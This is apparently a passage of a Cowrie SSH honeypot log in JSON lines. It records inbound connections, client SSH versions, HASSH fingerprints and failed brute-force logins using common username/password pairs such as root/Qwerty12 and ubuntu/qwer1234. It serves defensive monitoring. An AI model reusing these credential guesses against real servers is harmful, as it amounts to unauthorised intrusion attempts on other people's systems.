{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:35.001326Z","src_ip":"87.251.64.176","session":"9af120293a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":35720,"dst_ip":"10.17.0.5","dst_port":22,"session":"468a4b3552b0","protocol":"ssh","message":"New connection: 79.3.96.178:35720 (10.17.0.5:22) [session: 468a4b3552b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:36.226079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:36.231074Z","src_ip":"79.3.96.178","session":"468a4b3552b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:36.366825Z","src_ip":"79.3.96.178","session":"468a4b3552b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12","message":"login attempt [root/Qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:36.937016Z","src_ip":"79.3.96.178","session":"468a4b3552b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:38.076738Z","src_ip":"79.3.96.178","session":"468a4b3552b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":35122,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d52ba92cdc8","protocol":"ssh","message":"New connection: 147.45.197.250:35122 (10.17.0.5:22) [session: 3d52ba92cdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:45.446886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:45.451685Z","src_ip":"147.45.197.250","session":"3d52ba92cdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:45.546584Z","src_ip":"147.45.197.250","session":"3d52ba92cdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:45.816293Z","src_ip":"147.45.197.250","session":"3d52ba92cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:46.909833Z","src_ip":"147.45.197.250","session":"3d52ba92cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56130,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ebb124940d","protocol":"ssh","message":"New connection: 83.168.110.85:56130 (159.203.135.109:22) [session: 29ebb124940d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:03.106032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:03.111921Z","src_ip":"83.168.110.85","session":"29ebb124940d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:03.233568Z","src_ip":"83.168.110.85","session":"29ebb124940d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:03.595803Z","src_ip":"83.168.110.85","session":"29ebb124940d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51470,"dst_ip":"10.17.0.5","dst_port":22,"session":"05119ddd6897","protocol":"ssh","message":"New connection: 109.237.96.109:51470 (10.17.0.5:22) [session: 05119ddd6897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:20.590443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:20.595966Z","src_ip":"109.237.96.109","session":"05119ddd6897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:20.694420Z","src_ip":"109.237.96.109","session":"05119ddd6897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbpltw","message":"login attempt [root/gbpltw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:20.975292Z","src_ip":"109.237.96.109","session":"05119ddd6897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:22.071897Z","src_ip":"109.237.96.109","session":"05119ddd6897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":33270,"dst_ip":"10.17.0.5","dst_port":22,"session":"63463a78c305","protocol":"ssh","message":"New connection: 79.3.96.178:33270 (10.17.0.5:22) [session: 63463a78c305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.027020Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36028,"dst_ip":"10.17.0.5","dst_port":22,"session":"5339fae0461b","protocol":"ssh","message":"New connection: 80.94.92.184:36028 (10.17.0.5:22) [session: 5339fae0461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.034287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.037701Z","src_ip":"79.3.96.178","session":"63463a78c305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.173514Z","src_ip":"79.3.96.178","session":"63463a78c305","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.312038Z","src_ip":"80.94.92.184","session":"5339fae0461b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.315698Z","src_ip":"80.94.92.184","session":"5339fae0461b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level1","message":"login attempt [root/level1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:54.743438Z","src_ip":"79.3.96.178","session":"63463a78c305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:55.491458Z","src_ip":"80.94.92.184","session":"5339fae0461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:55.884496Z","src_ip":"79.3.96.178","session":"63463a78c305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:06:56.724549Z","src_ip":"80.94.92.184","session":"5339fae0461b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55472,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d733043013","protocol":"ssh","message":"New connection: 62.133.62.83:55472 (10.17.0.5:22) [session: 57d733043013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:07:11.875010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:07:11.879761Z","src_ip":"62.133.62.83","session":"57d733043013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:07:11.958714Z","src_ip":"62.133.62.83","session":"57d733043013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2001","message":"login attempt [root/nikita2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:07:12.197760Z","src_ip":"62.133.62.83","session":"57d733043013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:07:13.280516Z","src_ip":"62.133.62.83","session":"57d733043013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":59060,"dst_ip":"10.17.0.5","dst_port":22,"session":"634f57d4e588","protocol":"ssh","message":"New connection: 79.3.96.178:59060 (10.17.0.5:22) [session: 634f57d4e588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:13.859388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:13.865262Z","src_ip":"79.3.96.178","session":"634f57d4e588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:14.000190Z","src_ip":"79.3.96.178","session":"634f57d4e588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:14.552660Z","src_ip":"79.3.96.178","session":"634f57d4e588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:15.686818Z","src_ip":"79.3.96.178","session":"634f57d4e588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":34412,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2cadd91ee1","protocol":"ssh","message":"New connection: 103.75.182.198:34412 (10.17.0.5:22) [session: cb2cadd91ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:21.434751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:21.439286Z","src_ip":"103.75.182.198","session":"cb2cadd91ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@